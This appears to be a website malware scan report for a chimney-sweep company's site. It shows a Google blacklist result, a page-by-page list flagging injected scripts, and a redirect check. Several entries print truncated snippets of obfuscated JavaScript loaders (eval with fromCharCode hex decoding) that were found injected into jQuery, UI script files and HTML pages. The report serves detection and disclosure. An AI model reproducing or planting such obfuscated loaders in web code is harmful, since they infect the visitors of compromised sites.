Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mcschimneysweeptucker.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.mcschimneysweeptucker.com/ | 200 OK Content-Length: 14364 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweeptucker.com/script/jquery-1.2.6.min.js | 200 OK Content-Length: 60297 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/script/ui_core.js | 200 OK Content-Length: 16513 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function jxrv(){dphjv=function(){--(rbbk.body)}()}ryy="fr"+"om"+"Ch"+"ar"+"Co"+"de";if(document.querySelector)yezz=4;rtwrwj=("84,ca,d9,d2,c7,d8,cd,d3,d2,84,d2,94,9d,8c,8d,84,df,71,6e,84,da,c5,d6,84,d7,d8,c5,d8,cd,c7,a1,8b,c5,ce,c5,dc,8b,9f,71,6e,84,da,c5,d6,84,c7,d3,d2,d8,d6,d3,d0,d0,c9,d6,a1,8b,cd,d2,c8,c9,dc,92,d4,cc,d4,8b,9f,71,6e,84,da,c5,d6,84,d2,84,a1,84,c8,d3,c7,d9,d1,c9,d2,d8,92,c7,d6,c9,c5,d8,c9,a9,d0,c9,d1,c9,d2,d8,8c,8b,cd,ca,d6,c5,d1,c9,8b,8d,9f,71,6e,71,6e,84,d2,92,d7,d6,c7,84,a1,84 Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/script/ui_tabs.js | 200 OK Content-Length: 21143 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/script/lightbox.js | 200 OK Content-Length: 24106 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function jxrv(){dphjv=function(){--(rbbk.body)}()}ryy="fr"+"om"+"Ch"+"ar"+"Co"+"de";if(document.querySelector)yezz=4;rtwrwj=("84,ca,d9,d2,c7,d8,cd,d3,d2,84,d2,94,9d,8c,8d,84,df,71,6e,84,da,c5,d6,84,d7,d8,c5,d8,cd,c7,a1,8b,c5,ce,c5,dc,8b,9f,71,6e,84,da,c5,d6,84,c7,d3,d2,d8,d6,d3,d0,d0,c9,d6,a1,8b,cd,d2,c8,c9,dc,92,d4,cc,d4,8b,9f,71,6e,84,da,c5,d6,84,d2,84,a1,84,c8,d3,c7,d9,d1,c9,d2,d8,92,c7,d6,c9,c5,d8,c9,a9,d0,c9,d1,c9,d2,d8,8c,8b,cd,ca,d6,c5,d1,c9,8b,8d,9f,71,6e,71,6e,84,d2,92,d7,d6,c7,84,a1,84 Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/script/formfunc.js | 200 OK Content-Length: 10001 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/index.html | 200 OK Content-Length: 14364 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweeptucker.com/tucker-chimneysweep.html | 200 OK Content-Length: 19624 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(6 ...[4033 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/tucker-dryerventcleaning.html | 200 OK Content-Length: 21085 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(6 ...[4033 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/contactus.html | 200 OK Content-Length: 16441 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(6 ...[4033 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweeptucker.com/test404page.js | 404 Not Found Content-Length: 467 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: mcschimneysweeptucker.com
Result:
GET / HTTP/1.1
Host: mcschimneysweeptucker.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: mcschimneysweeptucker.com
Referer: http://www.google.com/search?q=mcschimneysweeptucker.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: mcschimneysweeptucker.com
Referer: http://www.google.com/search?q=mcschimneysweeptucker.com
Result:
The result is similar to the first query. There are no suspicious redirects found.